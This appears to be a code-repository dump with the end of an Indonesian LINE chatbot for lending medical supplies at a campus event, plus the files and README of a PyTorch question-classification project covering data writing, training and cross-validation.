Setiap tandu dapat dipinjam oleh massa kampus selama tandu masih tersedia.\\n' +\n '\\n' +\n '5. Untuk peminjaman, peminjam diminta untuk menitipkan KTM sebagai jaminan.\\n' +\n '\\n' +\n '6. Peminjaman tandu gratis, tidak dipungut biaya.\\n' +\n '\\n' +\n '7. Peminjam wajib melakukan penggantian apabila tandu hilang, atau terjadi kerusakan pada tandu yang bukan diakibatkan oleh penggunaan.\\n' +\n '\\n' +\n '8. Peminjam diminta untuk mencuci mitela yang terdapat pada tandu apabila kotor setelah penggunaan.\\n' +\n '\\n' +\n '9. Selama durasi peminjaman, peminjam melakukan sendiri pengencangan dan perawatan terhadap tandu. Saat peminjaman, peminjam dapat mengutus perwakilan untuk diberi pengarahan tentang cara pengencangan dan perawatan tandu.'\n ),\n template_message\n ])\n elif event.postback.data == 'obat':\n buttons_template = ButtonsTemplate(\n title='Pastikan Anda telah memahami SOP di atas', text='Klik tombol di bawah untuk melanjutkan', actions= [\n PostbackTemplateAction(\n label='Oke', data='pilih_obat')\n ]\n )\n template_message = TemplateSendMessage(\n alt_text='[SOP Peminjaman Obat]', template=buttons_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='[SOP Peminjaman Obat]\\n' +\n '\\n' +\n '1. Menghubungi OA Medik OSKM 2017 maksimal 3 hari sebelum peminjaman.\\n' +\n '\\n' +\n '2. Memperkenalkan diri serta menyampaikan tujuan peminjaman obat.\\n' +\n '\\n' +\n '3. Menyebutkan obat apa saja yang akan dipinjam.\\n' +\n '\\n' +\n '4. Peminjam menentukan lama waktu peminjaman obat. Peminjaman obat maksimal 14 hari dan jika terjadi keterlambatan dalam pengembalian obat, peminjam akan dikenakan sanksi yang akan diberitahukan lebih lanjut.(jika peminjam ingin meminjam lebih dari 14 hari dapat memperpanjang dengan menghubungi ke OA Medik)\\n' +\n '\\n' +\n '5. Peminjam memberikan jaminan peminjaman berupa KTM/KTP.\\n' +\n '\\n' +\n '6. Peminjam diwajibkan untuk menuliskan data penggunaan obat dengan format yang sudah ditentukan oleh Medik.\\n' +\n '\\n' +\n '7. Pengembalian obat dilakukan dengan menghubungi OA Medik sesuai dengan waktu yang telah ditentukan diawal peminjaman.\\n' +\n '\\n' +\n '8. Apabila obat yang dikembalikan rusak ataupun hilang, peminjam diharuskan mengganti obat tersebut'\n ),\n TextSendMessage(text='9. Apabila obat yang dikembalikan habis dikarenakan pemakaian, kemasan obat tersebut tetap harus disertakan saat pengembalian obat. Apabila kemasan hilang, peminjam dianggap menghilangkan obat.'), \n template_message\n ])\n elif event.postback.data == 'pilih_obat':\n carousel_template = CarouselTemplate(columns=[\n CarouselColumn(title='Obat Base', text='Obat yang digunakan di Base saat OSKM',\n thumbnail_image_url=imgurl_obat_base, actions=[\n PostbackTemplateAction(label='List Obat', data='list_obat_base'),\n PostbackTemplateAction(label='Pinjam', data='form_obat_base')\n ]),\n CarouselColumn(title='Obat PJ Obat', text='Obat yang dibawa oleh PJ Obat saat OSKM',\n thumbnail_image_url=imgurl_obat_pj, actions=[\n PostbackTemplateAction(label='List Obat', data='list_obat_pj'),\n PostbackTemplateAction(label='Pinjam', data='form_obat_pj')\n ]),\n CarouselColumn(title='Obat Satuan', text='Pilih obat-obatan tertentu yang Anda butuhkan',\n thumbnail_image_url=imgurl_obat_satuan, actions=[\n PostbackTemplateAction(label='List Obat', data='list_obat_satuan'),\n PostbackTemplateAction(label='Pinjam', data='form_obat_satuan')\n ])\n ])\n template_message = TemplateSendMessage(\n alt_text='Silahkan pilih jenis obat', template=carousel_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='Silahkan pilih jenis obat yang ingin Anda pinjam\\n'),\n template_message\n ]\n )\n elif event.postback.data == 'list_obat_base':\n buttons_template = ButtonsTemplate(\n text='Kembali ke pemilihan obat', actions= [\n PostbackTemplateAction(\n label='Kembali', data='pilih_obat')\n ]\n )\n template_message = TemplateSendMessage(\n alt_text='Kembali ke pemilihan obat', template=buttons_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='[List Obat Base]\\n' +\n '\\n' +\n '1. Bioplacenton\\n' +\n '2. Thrombophob\\n' +\n '3. Counterpain Patch Hot\\n' +\n '4. Counterpain Cool\\n' +\n '5. Ethyl Chloride\\n' +\n '6. Rivanol\\n' +\n '7. Oxycan\\n' +\n '8. Imboost\\n' +\n '9. Sangobion\\n' +\n '10. Mylanta Cair\\n' +\n '11. Ranitidin Cair\\n' +\n '12. Fludane\\n' +\n '13. Spasminal\\n' +\n '14. Parasetamol\\n' +\n '15. Feminax\\n' +\n '16. Ibuprofen\\n' +\n '17. Oralit\\n' +\n '18. Sanadryl\\n' +\n '19. Komix\\n' +\n '20. Salbutamol Syrup\\n' +\n '\\n' +\n 'Perlu diingat bahwa obat-obat tersebut mungkin tidak tersedia karena habis atau sedang dipinjam. Info lebih lanjut akan dihubungi setelah pengisian form peminjaman.'\n ),\n template_message\n ])\n elif event.postback.data == 'list_obat_pj':\n buttons_template = ButtonsTemplate(\n text='Kembali ke pemilihan obat', actions= [\n PostbackTemplateAction(\n label='Kembali', data='pilih_obat')\n ]\n )\n template_message = TemplateSendMessage(\n alt_text='Kembali ke pemilihan obat', template=buttons_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='[List Obat PJ Obat]\\n' +\n '\\n' +\n '1. Bioplacenton\\n' +\n '2. Thrombophob\\n' +\n '3. Counterpain\\n' +\n '4. Ethyl Chloride\\n' +\n '5. Rivanol\\n' +\n '6. Oxycan\\n' +\n '7. Sangobion\\n' +\n '8. Mylanta Cair\\n' +\n '9. Ranitidin Cair\\n' +\n '10. Komix\\n' +\n '\\n' +\n 'Perlu diingat bahwa obat-obat tersebut mungkin tidak tersedia karena habis atau sedang dipinjam. Info lebih lanjut akan dihubungi setelah pengisian form peminjaman.'\n ),\n template_message\n ])\n elif event.postback.data == 'list_obat_satuan':\n buttons_template = ButtonsTemplate(\n text='Kembali ke pemilihan obat', actions= [\n PostbackTemplateAction(\n label='Kembali', data='pilih_obat')\n ]\n )\n template_message = TemplateSendMessage(\n alt_text='Kembali ke pemilihan obat', template=buttons_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='[List Obat Satuan]\\n' +\n '\\n' +\n '1. Bioplacenton\\n' +\n '2. Thrombophob\\n' +\n '3. Counterpain Patch Hot\\n' +\n '4. Counterpain Cool\\n' +\n '5. Ethyl Chloride\\n' +\n '6. Rivanol\\n' +\n '7. Oxycan\\n' +\n '8. Imboost\\n' +\n '9. Sangobion\\n' +\n '10. Mylanta Cair\\n' +\n '11. Ranitidin Cair\\n' +\n '12. Fludane\\n' +\n '13. Spasminal\\n' +\n '14. Parasetamol\\n' +\n '15. Feminax\\n' +\n '16. Ibuprofen\\n' +\n '17. Oralit\\n' +\n '18. Sanadryl\\n' +\n '19. Komix\\n' +\n '20. Salbutamol Syrup\\n' +\n '\\n' +\n 'Perlu diingat bahwa obat-obat tersebut mungkin tidak tersedia karena habis atau sedang dipinjam. Info lebih lanjut akan dihubungi setelah pengisian form peminjaman.'\n ),\n template_message\n ])\n elif event.postback.data == 'tft':\n buttons_template = ButtonsTemplate(\n title='Pastikan Anda telah memahami SOP di atas', text='Klik tombol di bawah untuk melanjutkan', actions= [\n PostbackTemplateAction(\n label='Oke', data='form_tft')\n ]\n )\n template_message = TemplateSendMessage(\n alt_text='[SOP TFT Medik]', template=buttons_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='[SOP TFT Medik]\\n' +\n '\\n' +\n '1. Maksimal permintaan TFT medik adalah H-5 dari hari pemberian TFT medik.\\n' +\n '\\n' +\n '2. Mengisi form yang telah disediakan.'\n ),\n template_message\n ])\n elif event.postback.data == 'form_tandu':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text= '[Form Peminjaman Tandu]\\n' + form_template\n ),\n TextSendMessage(text= 'Mohon isi form di atas dan pastikan form yang Anda isikan sudah benar\\n' +\n 'Form yang dikirim akan langsung dimasukkan ke dalam sistem'\n )\n ])\n elif event.postback.data == 'form_obat_base':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text= '[Form Peminjaman Obat Base]\\n' + form_template\n ),\n TextSendMessage(text= 'Mohon isi form di atas dan pastikan form yang Anda isikan sudah benar\\n' +\n 'Form yang dikirim akan langsung dimasukkan ke dalam sistem'\n )\n ])\n elif event.postback.data == 'form_obat_pj':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text= '[Form Peminjaman Obat PJ Obat]\\n' + form_template\n ),\n TextSendMessage(text= 'Mohon isi form di atas dan pastikan form yang Anda isikan sudah benar\\n' +\n 'Form yang dikirim akan langsung dimasukkan ke dalam sistem'\n )\n ])\n elif event.postback.data == 'form_obat_satuan':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text= '[Form Peminjaman Obat Satuan]\\n' + form_template + '\\nObat yang ingin dipinjam : '\n ),\n TextSendMessage(text= 'Mohon isi form di atas dan pastikan form yang Anda isikan sudah benar\\n' +\n 'Form yang dikirim akan langsung dimasukkan ke dalam sistem'\n )\n ])\n elif event.postback.data == 'form_tft':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text= '[Form TFT Medik]\\n' +\n '\\n' +\n 'Nama : \\n' +\n 'Jurusan : \\n' +\n 'ID Line : \\n' +\n 'Lembaga : \\n' +\n 'Gambaran keberjalanan acara : \\n' +\n 'List obat yang telah disediakan : \\n' +\n 'Sasaran peserta TFT : \\n' +\n 'Estimasi jumlah peserta TFT : \\n' +\n 'Alokasi waktu TFT : \\n' +\n 'Sarana dan prasarana yang telah disediakan : \\n' +\n 'Lokasi TFT : '\n ),\n TextSendMessage(text= 'Mohon isi form di atas dan pastikan form yang Anda isikan sudah benar\\n' +\n 'Form yang dikirim akan langsung dimasukkan ke dalam sistem'\n )\n ])\n elif event.postback.data == 'form_humas':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text= '[Form Kontak]\\n' +\n '\\n' +\n 'Nama : \\n' +\n 'Jurusan : \\n' +\n 'ID Line : \\n' +\n 'Pesan : '\n ),\n TextSendMessage(text= 'Mohon isi form di atas dan pastikan form yang Anda isikan sudah benar\\n' +\n 'Form yang dikirim akan langsung dimasukkan ke dalam sistem'\n )\n ])\n elif event.postback.data == 'ping':\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='pong'),TextSendMessage(text='pong2')])\n elif event.postback.data == 'datetime_postback':\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(text=event.postback.params['datetime']))\n elif event.postback.data == 'date_postback':\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(text=event.postback.params['date']))\n elif event.postback.data == 'time_postback':\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(text=event.postback.params['time']))\n\n\[email protected](BeaconEvent)\ndef handle_beacon(event):\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(\n text='Got beacon event. hwid={}, device_message(hex string)={}'.format(\n event.beacon.hwid, event.beacon.dm)))\n\n\nif __name__ == \"__main__\":\n arg_parser = ArgumentParser(\n usage='Usage: python ' + __file__ + ' [--port <port>] [--help]'\n )\n arg_parser.add_argument('-p', '--port', default=8000, help='port')\n arg_parser.add_argument('-d', '--debug', default=False, help='debug')\n options = arg_parser.parse_args()\n\n # create tmp dir for download content\n make_static_tmp_dir()\n\n app.run(debug=options.debug, port=options.port)\n" }, { "alpha_fraction": 0.505464494228363, "alphanum_fraction": 0.7131147384643555, "avg_line_length": 14.913043022155762, "blob_id": "a127fc3648c90103e3770347b52e81a416635751", "content_id": "d31bd957c8504c71d3fe04f1a2160e0819bfddda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 366, "license_type": "no_license", "max_line_length": 26, "num_lines": 23, "path": "/requirements.txt", "repo_name": "rrifaldiu/line-bot-medik", "src_encoding": "UTF-8", "text": "line-bot-sdk\naltgraph==0.14\nclick==6.7\nCython==0.27.3\nflask==0.12.2\nfuture==0.16.0\nglfw==1.4.0\ngunicorn==19.7.1\nitsdangerous==0.24\nJinja2==2.10\nmacholib==1.8\nMarkupSafe==1.0\nnumpy==1.13.3\nolefile==0.44\npefile==2017.11.5\nPillow==4.3.0\nPyDispatcher==2.0.5\nPyInstaller==3.3\nPyOpenGL==3.1.0\nPyOpenGL-accelerate==3.1.0\nPyVRML97==2.3.0b1\nvirtualenv==15.1.0\nWerkzeug==0.13\n" } ]
2
michjk/Question_Classifier_Pytorch
https://github.com/michjk/Question_Classifier_Pytorch
fd6930316acdb29189f0e29e9666802d9f669ef6
dead77242f069f37c04e2013e526130d8cdc93c3
ab9bf463f061780d76d813e74a072dde299787d0
refs/heads/refactor
2023-02-23T22:02:40.101352
2022-05-26T05:48:19
2022-05-26T05:48:19
116,722,798
4
2
null
2018-01-08T20:10:55
2022-05-26T05:48:23
2023-02-15T18:35:34
Python
[ { "alpha_fraction": 0.6177293658256531, "alphanum_fraction": 0.6194401383399963, "avg_line_length": 38.19512176513672, "blob_id": "562d448bdc6fe29933c6d7ef9fc6d6d7eba6164b", "content_id": "711d570fe04419d9bfe6d8543c8876bc682da7de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6430, "license_type": "no_license", "max_line_length": 221, "num_lines": 164, "path": "/data_module/data_writer.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import os\nimport shutil\n\nimport torch\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport numpy as np\nimport pandas as pd\nfrom pandas_ml import ConfusionMatrix\n\nimport sklearn\n\nfrom tensorboard_logger import Logger\n\nimport dill as pickle\n\nclass PreprocessingPipelineWriter:\n '''\n Class for saving data.Field for production.\n\n Inputs:\n - result_folder_path (string): folder for saving data\n - saved_text_pipeline_file_path: file path relative to result_folder_path for saving data.Field for text\n - saved_label_pipeline_file_path: file path relative to result_folder_path for saving data.Field for label\n '''\n def __init__(self, result_folder_path = \"runs\", saved_text_pipeline_file_path = \"text_pipeline.pkl\", saved_label_pipeline_file_path = \"label_pipeline.pkl\"):\n self.result_folder_path = result_folder_path\n self.saved_text_pipeline_file_path = os.path.join(result_folder_path, saved_text_pipeline_file_path)\n self.saved_label_pipeline_file_path = os.path.join(result_folder_path, saved_label_pipeline_file_path)\n \n def save_pipeline(self, data_pipeline, label=False):\n '''\n Save data.Field\n\n Inputs:\n - data_piepline: data.Field to be saved\n '''\n os.makedirs(self.result_folder_path, exist_ok=True)\n if not label:\n dirname = os.path.dirname(self.saved_text_pipeline_file_path)\n os.makedirs(dirname, exist_ok=True)\n pickle.dump(data_pipeline, open(self.saved_text_pipeline_file_path, 'wb'))\n else:\n dirname = os.path.dirname(self.saved_label_pipeline_file_path)\n os.makedirs(dirname, exist_ok=True)\n pickle.dump(data_pipeline, open(self.saved_label_pipeline_file_path, 'wb')) \n \nclass PlotWriter:\n '''\n Save plot that can be openned by tensorboard\n\n Inputs:\n path (string): path to the directory for saving plot\n '''\n def __init__(self, path):\n self.plot_instance = Logger(path)\n \n def log_value(self, name, value, step):\n '''\n write plot file\n \n Inputs:\n - name (string): label of plot\n - value (double): value to be written (y-axis)\n - step (double): epoch (x-axis)\n '''\n\n self.plot_instance.log_value(name, value, step)\n\nclass LearningWriter:\n '''\n Class writter train & test plot (accuracy and loss) and model.\n\n Inputs:\n - label_map (dict): map index to topic string\n - result_folder_path (str): path to folder for saving result\n - saved_model_file_path (str): path to file relative to result_folder_path for trained model\n - train_log_folder_path (str): path to folder relative to result_folder_path for saving train plot\n - dev_log_folder_path (str): path to folder relative to result_folder_path for saving test plot\n - confusion_matrix_folder_path (str): path to folder relative to result_folder_path for saving confusion matrix\n \n '''\n def __init__(self, label_map, result_folder_path = \"runs\", saved_model_file_path = \"saved_model.model\", train_log_folder_path = \"train\", dev_log_folder_path = \"dev\", confusion_matrix_folder_path = \"confusion_matrix\"):\n self.result_path = result_folder_path\n self.saved_model_file_path = os.path.join(result_folder_path, saved_model_file_path)\n self.train_log_folder_path = os.path.join(result_folder_path, train_log_folder_path)\n self.dev_log_folder_path = os.path.join(result_folder_path, dev_log_folder_path)\n self.confusion_matrix_file_path = os.path.join(result_folder_path, confusion_matrix_folder_path, 'confusion_matrix.png')\n self.label_map = label_map\n\n def initialize(self):\n '''\n Initialize folder creation\n '''\n os.makedirs(self.result_path, exist_ok=True)\n \n self.train_logger = PlotWriter(self.train_log_folder_path)\n self.dev_logger = PlotWriter(self.dev_log_folder_path)\n \n dirname = os.path.dirname(self.saved_model_file_path)\n os.makedirs(dirname, exist_ok=True)\n\n dirname = os.path.dirname(self.confusion_matrix_file_path)\n os.makedirs(dirname, exist_ok=True)\n\n def train_log_value(self, name, value, step):\n '''\n Write train plot\n\n Inputs:\n - name (str): label/tag of the plot\n - value (double): value to be written (y-axis)\n - step (double): current epoch (x-axis)\n '''\n self.train_logger.log_value(name, value, step)\n \n def dev_log_value(self, name, value, step):\n '''\n Write test plot\n\n Inputs:\n - name (str): label/tag of the plot\n - value (double): value to be written (y-axis)\n - step (double): current epoch (x-axis)\n '''\n self.dev_logger.log_value(name, value, step)\n \n def save_model(self, model):\n '''\n Save model inside result folder\n \n Inputs:\n - model (torch.nn): Pytorch model to be saved\n '''\n torch.save(model, self.saved_model_file_path)\n print(\"model saved at\", self.saved_model_file_path)\n\n def save_confusion_matrix(self, truth_res, pred_res):\n '''\n Save confusion matrix in result folder and print Recall, Precision, and F1 score in console.\n\n Inputs:\n - truth_res (list): list of truth label\n - pred_res (list): list of predicted label\n '''\n # create confusion matrix data structure\n s = sklearn.metrics.confusion_matrix(truth_res, pred_res)\n df_cm = pd.DataFrame(data = s, columns=self.label_map, index=self.label_map)\n plt.figure(dpi=100)\n \n # create heatmap png\n heatmap = sns.heatmap(df_cm, annot=True, fmt='d')\n heatmap.yaxis.set_ticklabels(heatmap.yaxis.get_ticklabels(), rotation=70, ha='right', fontsize=5)\n heatmap.xaxis.set_ticklabels(heatmap.xaxis.get_ticklabels(), rotation=20, ha='right', fontsize=5)\n\n plt.savefig(self.confusion_matrix_file_path)\n\n # print recall, precission, F1 score\n confusion_matrix = ConfusionMatrix(truth_res, pred_res)\n confusion_matrix.print_stats()\n\n\n" }, { "alpha_fraction": 0.531874418258667, "alphanum_fraction": 0.5341233611106873, "avg_line_length": 35.70158767700195, "blob_id": "f018771ca35655550b4ee0c6b95a05f0a8c0f876", "content_id": "18e19ed01a6e4bd23b1262218f334aa5554f096a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11561, "license_type": "no_license", "max_line_length": 137, "num_lines": 315, "path": "/model_module/model_runner.py", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "import os\nfrom data_module.data_writer import * \nimport shutil\nimport torch\nfrom torchtext import data\nfrom sklearn.model_selection import KFold\nimport numpy as np\nimport copy\nimport torch.autograd as autograd\n\ndef sort_key(ex):\n '''\n Function for sorting dataset based on length. It is applicable for sorting test dataset.\n\n Inputs:\n - ex (data.Example): one record of dataset\n '''\n return len(ex.text)\n\nclass ModelRunner:\n '''\n This is class for run training model and also cross validation model\n '''\n def __init__(self, model_factory, loss_factory, optimizer_factory, epochs, batch_size, learning_logger, use_gpu = True):\n '''\n Inputs:\n - model_factory (FactoryClass): a factory class for creating a model.\n - loss_factory (FactoryClass): a factory class for creating loss function.\n - optimizer_factory (FactoryClass): a factory class for creating optimizer function\n - epochs (int): number of epochs or rounds of training\n - batch_size (int): batch size of dataset to be passed to model in one foward pass\n - learning_logger: Class for writing logs and trained model\n - use_gpu (boolean): use gpu for training\n '''\n self.model_factory = model_factory\n self.loss_factory = loss_factory\n self.optimizer_factory = optimizer_factory\n self.epochs = epochs\n self.learning_logger = learning_logger\n self.use_gpu = use_gpu\n self.batch_size = batch_size\n \n def get_iterator(self, dataset, batch_size, train=True, shuffle=True, repeat=False, sort_key = sort_key):\n '''\n Generate iterator from torchtext.data.Dataset\n\n Inputs:\n - dataset (data.Dataset): dataset instance\n - batch_size (int)\n - train (boolean): Is it train dataset or test dataset\n - shuffle (boolean): shuffle dataset or not\n - repeat (boolean): repeat iteration or not\n - sort_key (boolean): repeat dataset iteration or not\n '''\n device = -1\n if self.use_gpu:\n device = None\n \n if train:\n sort_key = None\n\n dataset_iter = data.Iterator(\n dataset, batch_size=batch_size, device=device,\n train=train, shuffle=shuffle, repeat=repeat, sort_key=sort_key\n )\n\n return dataset_iter\n\n def get_dataset_cv(self, train_data, n_folds = 10):\n '''\n Generate n_folds set iterator from torchtext.data.Dataset for cross validation\n\n Inputs:\n - train_data (data.Dataset): train dataset instance\n - n_folds (int): number of folds\n '''\n train_examples = train_data.examples\n train_fields = train_data.fields\n \n # create folds\n def iter_folds():\n train_examples_np = np.array(train_examples)\n kf = KFold(n_splits=n_folds)\n for train_idx, val_idx in kf.split(train_examples_np):\n yield (\n data.Dataset(train_examples_np[train_idx], train_fields),\n data.Dataset(train_examples_np[val_idx], train_fields)\n )\n \n return iter_folds()\n \n def learn(self, train_data, dev_data):\n '''\n Start train model\n\n Inputs:\n - train_data (data.Dataset): training dataset\n - dev_data (data.Dataset): test dataset\n '''\n best_dev_acc = 0\n best_dev_loss = None\n best_truth_res = []\n best_pred_res = []\n \n # create model instance\n self.model = self.model_factory.create_class()\n \n # create optmizer instance\n update_parameter = filter(lambda p: p.requires_grad, self.model.parameters()) # only update parameter that indicates need updates\n self.optimizer = self.optimizer_factory.create_class({'params':update_parameter})\n \n # create loss function\n self.loss_function = self.loss_factory.create_class()\n\n # generate iterator\n train_iter = self.get_iterator(train_data, self.batch_size)\n dev_iter = self.get_iterator(dev_data, len(dev_data), train=False)\n\n # initialize folder\n self.learning_logger.initialize()\n\n # start training\n for i in range(self.epochs):\n # train\n print('epoch: %d start!' % i)\n self.learn_epoch(train_iter, i)\n \n # test\n print('now best dev acc:',best_dev_acc)\n dev_acc, dev_loss, truth_res, pred_res = self.evaluate(dev_iter, i)\n \n # save best model up to current epoch\n if best_dev_loss is None or dev_loss < best_dev_loss:\n best_dev_acc = dev_acc\n best_dev_loss = dev_loss\n print('New Best Dev!!!')\n self.learning_logger.save_model(self.model)\n best_truth_res = truth_res\n best_pred_res = pred_res\n \n print(\"best model accuracy: \", best_dev_acc)\n print(\"best model error: \", best_dev_loss)\n self.learning_logger.save_confusion_matrix(best_truth_res, best_pred_res)\n \n def learn_cv(self, train_data, n_folds):\n '''\n Start cross validate model\n\n Inputs:\n - train_data (data.Dataset): training dataset\n - n_folds (int): number of folds\n '''\n best_val_acc_list = []\n best_val_loss_list = []\n\n # genereate iterators for each folds\n train_val_generator = self.get_dataset_cv(train_data, n_folds=n_folds)\n \n # start cross validation\n for fold, (train_data_fold, val_data_fold) in enumerate(train_val_generator):\n \n # create model\n self.model = self.model_factory.create_class()\n \n # create optimizer\n update_parameter = filter(lambda p: p.requires_grad, self.model.parameters())\n self.optimizer = self.optimizer_factory.create_class({'params':update_parameter})\n \n # create loss function\n self.loss_function = self.loss_factory.create_class()\n \n print(\"Fold: \", fold)\n best_val_acc = 0.0\n best_val_loss = None\n \n best_truth_res = []\n best_pred_res = []\n\n # create data iterator\n train_iter = self.get_iterator(train_data_fold, self.batch_size)\n val_iter = self.get_iterator(val_data_fold, len(val_data_fold), train=False)\n for i in range(self.epochs):\n # train\n print('epoch: %d start!' % i)\n self.learn_epoch(train_iter, i, cv=True)\n \n # test\n print('now best dev acc:',best_val_acc)\n val_acc, val_loss, truth_res, pred_res = self.evaluate(val_iter, i, cv=True)\n \n # best model from entire epoch\n if best_val_loss is None or val_loss < best_val_loss:\n best_val_acc = val_acc\n best_val_loss = val_loss\n print('New Best Dev!!!')\n best_truth_res = truth_res\n best_pred_res = pred_res\n print(\"best val acc: \", best_val_acc)\n print(\"best val loss: \", best_val_loss)\n best_val_acc_list.append(best_val_acc)\n best_val_loss_list.append(best_val_loss)\n \n # output result\n print(\"All cross validation accuracy: \", best_val_acc_list)\n print(\"Avg cross validation accuracy: \", np.average(best_val_acc_list))\n\n print(\"All cross validation loss: \", best_val_loss_list)\n print(\"Avg cross validation loss: \", np.average(best_val_loss_list))\n \n \n def learn_epoch(self, train_iter, i, cv = False):\n '''\n Train in one epoch\n\n Inputs:\n - train_iter (iterator): Iterator train dataset\n - i (int): i-th epoch\n - cv (boolean): cross validation process or not\n \n '''\n self.model.train()\n \n avg_loss = 0.0\n count = 0\n truth_res = []\n pred_res = []\n \n # pass each batch to model\n for batch in train_iter:\n sent, label = batch.text, batch.label\n truth_res += [int(x) for x in label.data]\n pred = self.model(sent)\n pred_label = pred.data.max(1)[1]\n pred_res += [int(x) for x in pred_label]\n self.model.zero_grad()\n loss = self.loss_function(pred, label)\n avg_loss += float(loss.data[0])\n count += 1\n \n if count % 100 == 0:\n print('epoch: %d iterations: %d loss :%g' % (i, count*model.batch_size, loss.data[0]))\n \n loss.backward()\n self.optimizer.step()\n \n # calculate result\n avg_loss /= len(train_iter)\n acc = self.get_accuracy(truth_res,pred_res)\n print('epoch: %d done!\\ntrain avg_loss:%g , acc:%g'%(i, avg_loss, acc))\n\n # not support saving accuracy & loss for cross validation \n if not cv:\n self.learning_logger.train_log_value(\"accuracy\", acc, i)\n self.learning_logger.train_log_value(\"loss\", avg_loss, i)\n\n def evaluate(self, eval_iter, i, cv=False):\n '''\n Evaluate model in one epoch\n \n Inputs:\n - eval_iter (iterator): test/eval dataset iterator\n - i (int): i-th epoch\n - cv : cross validation or not\n \n Outputs:\n - acc (double): accuracy\n - avg_loss (double): average loss of current trained model\n - truth_res (list): truth label\n - pred_res (list): predicted label\n '''\n self.model.eval()\n \n avg_loss = 0.0\n truth_res = []\n pred_res = []\n \n # pass each batch to model\n for batch in eval_iter:\n sent, label = batch.text, batch.label\n truth_res += [int(x) for x in label.data]\n pred = self.model(sent)\n pred_label = pred.data.max(1)[1]\n pred_res += [int(x) for x in pred_label]\n loss = self.loss_function(pred, label)\n avg_loss += float(loss.data[0])\n \n #calculate result\n avg_loss /= len(eval_iter)\n acc = self.get_accuracy(truth_res, pred_res)\n print('dev avg_loss:%g train acc:%g' % (avg_loss, acc))\n \n # not support saving accuracy & loss for cross validation\n if not cv:\n self.learning_logger.dev_log_value(\"accuracy\", acc, i)\n self.learning_logger.dev_log_value(\"loss\", avg_loss, i)\n\n return acc, avg_loss, truth_res, pred_res\n \n def get_accuracy(self, truth, pred):\n '''\n Calculate percentage accuracy\n\n Inputs:\n - truth (list): list of truth label\n - pre (list): list of predicted label\n \n Outputs:\n - accuracy in percentage\n '''\n assert len(truth)==len(pred)\n right = 0\n for i in range(len(truth)):\n if truth[i]==pred[i]:\n right += 1.0\n return right/len(truth)\n" }, { "alpha_fraction": 0.7665607333183289, "alphanum_fraction": 0.7829381823539734, "avg_line_length": 50.131248474121094, "blob_id": "20f6725933f1b9bd7948c67b9e6bfbdc695a2f84", "content_id": "60bae58e9df6894671e4c198e221ac400a38e33d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8182, "license_type": "no_license", "max_line_length": 405, "num_lines": 160, "path": "/README.md", "repo_name": "michjk/Question_Classifier_Pytorch", "src_encoding": "UTF-8", "text": "# Question_Classifier_Pytorch\nPytorch Implementation for question classification model\n\n## Requirements\nThe application is written in Python 3 and runs on Ubuntu 16.04 server with dedicated GPU. The following Ubuntu 16.04 packages should be installed:\n1. Python 3\n2. virtualenv\n3. Git\n4. CUDA 9/8\n5. cuDNN 6\n6. Nginx\n7. uWSGI\n\nBefore running Python application or installing Python dependencies, please create a virtualenv and activate the respective virtualenv.\nTo create virtualenv:\n```\nvirtualenv -p python3 virtualenv_name\n```\nTo activate the created virtualenv:\n```\nsource virtualenv_name/bin/activate\n```\nTo install python depencies library for this appliaction:\n```\npip install http://download.pytorch.org/whl/cu90/torch-0.4.0-cp35-cp35m-linux_x86_64.whl # for CUDA 9 or pip install torch for CUDA 8 \npip install cupy-cuda90 # or cupy-cuda80\npip install pynvrtc git+https://github.com/salesforce/pytorch-qrnn # for installing QRNN\npip install spacy\npython -m spacy download en #for downloading English model for spaCy tokenizer\npip install cffi # probably not needed by just try\npip install -r requirements.txt\n```\nIf it fails, please look at requirements.txt and install one by one.\n\n## Dataset\nThe dataset should be seperated into training file and test file in CSV format.\nWhen preparing CSV file, the dataset should not use indexing.\nIf you want to save CSV file using Pandas, use Python command:\n```\npandas.to_csv('file_name', index=False)\n```\n\n## Project Structure\nThis project is basically my own framework for developing question classification. It is mostly built with Pytorch and also torchtext for Pytorch specific NLP preprocessor.\nThe framework suggest user to load module from 3 different folder.\n1. data_module: The folder consist of function for loading & preprocessing dataset and writing results.\n2. model_module: The folder consist of several classification models and a module for running training.\n\nThere is utils.py file which contains utility to load parameters from json file.\nYou can learn how to extend the framework from the current implementation.\n\n## Models\nCurrently 3 different models are provided for question classification:\n1. CNN (Convolutional Neural Network) \n\nEven though CNN is created for image related problem. It can be used for text classifiction. Some papers related to the CNN model are [\nConvolutional Neural Networks for Sentence Classification](https://arxiv.org/abs/1408.5882) and [\nA Sensitivity Analysis of (and Practitioners' Guide to) Convolutional Neural Networks for Sentence Classification](https://arxiv.org/abs/1510.03820).\n\n2. LSTM (Long Short Term Memory)\n\nLSTM is RNN based neural network architecture that solves vanishing gradient problem and long-term dependencies problem. It is a natural way to learn text pattern in sequential manner. The theory behind LSTM can be found in [Understanding LSTMs](http://colah.github.io/posts/2015-08-Understanding-LSTMs/). With additional fully connected layer and softmax layer, LSTM can be used for text classification. \n\n3. QRNN (Quasi Recurrent Neural Networks) \n\nQRNN is RNN 